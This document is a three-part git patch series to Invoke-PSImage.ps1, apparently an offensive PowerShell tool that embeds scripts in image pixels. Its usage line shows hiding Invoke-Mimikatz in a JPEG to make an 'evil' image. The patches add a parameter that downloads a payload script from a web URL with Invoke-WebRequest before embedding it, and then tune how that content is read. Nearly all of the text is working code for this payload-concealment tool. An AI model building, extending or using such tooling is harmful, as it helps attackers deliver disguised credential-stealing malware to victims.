From 346fe8c0c0a9188ef2e33091137659707e482334 Mon Sep 17 00:00:00 2001
From: Dixie Flatline <dc.flatline@gmail.com>
Date: Tue, 19 Dec 2017 17:06:28 +0200
Subject: [PATCH 1/3] Added ability to download script from web

---
 Invoke-PSImage.ps1 | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/Invoke-PSImage.ps1 b/Invoke-PSImage.ps1
index b11ad92..046ebd4 100644
--- a/Invoke-PSImage.ps1
+++ b/Invoke-PSImage.ps1
@@ -41,15 +41,19 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
 #>
 
     [CmdletBinding()] Param (
-        [Parameter(Position = 0, Mandatory = $True)]
+        [Parameter(Position = 0, Mandatory = $False)]
         [String]
         $Script,
+        
+        [Parameter(Position = 1, Mandatory = $False)]
+        [String]
+        $Webscript,
     
-        [Parameter(Position = 1, Mandatory = $True)]
+        [Parameter(Position = 2, Mandatory = $True)]
         [String]
         $Image,
     
-        [Parameter(Position = 2, Mandatory = $True)]
+        [Parameter(Position = 3, Mandatory = $True)]
         [String]
         $Out,
 
@@ -63,7 +67,7 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
     [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")
     
     # Normalize paths beacuse powershell is sometimes bad with them.
-    if (-Not [System.IO.Path]::IsPathRooted($Script)){
+    if ( $Script -And (-Not [System.IO.Path]::IsPathRooted($Script)) ) {
         $Script = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Script))
     }
     if (-Not [System.IO.Path]::IsPathRooted($Image)){
@@ -74,7 +78,13 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
     }
         
     # Read in the script
-    $ScriptBlockString = [IO.File]::ReadAllText($Script)
+    if ( $WebScript ) {
+        $R=Invoke-WebRequest $WebScript
+        $ScriptBlockString=$R.RawContent
+    }
+    else {
+        $ScriptBlockString = [IO.File]::ReadAllText($Script)
+    }
     $input = [ScriptBlock]::Create($ScriptBlockString)
     $payload = [system.Text.Encoding]::ASCII.GetBytes($input)
 

From 9de7ef793064fa31ac286478b2f471bc8878db4f Mon Sep 17 00:00:00 2001
From: Dixie Flatline <dc.flatline@gmail.com>
Date: Tue, 19 Dec 2017 17:26:31 +0200
Subject: [PATCH 2/3] Added a question mark (as of issues)

https://github.com/peewpw/Invoke-PSImage/issues/1
---
 Invoke-PSImage.ps1 | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Invoke-PSImage.ps1 b/Invoke-PSImage.ps1
index 046ebd4..531ca94 100644
--- a/Invoke-PSImage.ps1
+++ b/Invoke-PSImage.ps1
@@ -80,7 +80,7 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
     # Read in the script
     if ( $WebScript ) {
         $R=Invoke-WebRequest $WebScript
-        $ScriptBlockString=$R.RawContent
+        $ScriptBlockString=$R.RawContent+";"
     }
     else {
         $ScriptBlockString = [IO.File]::ReadAllText($Script)

From 892a5426300031245119e70bd94d8995ed841a65 Mon Sep 17 00:00:00 2001
From: Dixie Flatline <dc.flatline@gmail.com>
Date: Tue, 19 Dec 2017 17:30:22 +0200
Subject: [PATCH 3/3] Content instead of RawContent from WebScript

---
 Invoke-PSImage.ps1 | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Invoke-PSImage.ps1 b/Invoke-PSImage.ps1
index 531ca94..7733ed6 100644
--- a/Invoke-PSImage.ps1
+++ b/Invoke-PSImage.ps1
@@ -80,7 +80,7 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
     # Read in the script
     if ( $WebScript ) {
         $R=Invoke-WebRequest $WebScript
-        $ScriptBlockString=$R.RawContent+";"
+        $ScriptBlockString=$R.Content+";"
     }
     else {
         $ScriptBlockString = [IO.File]::ReadAllText($Script)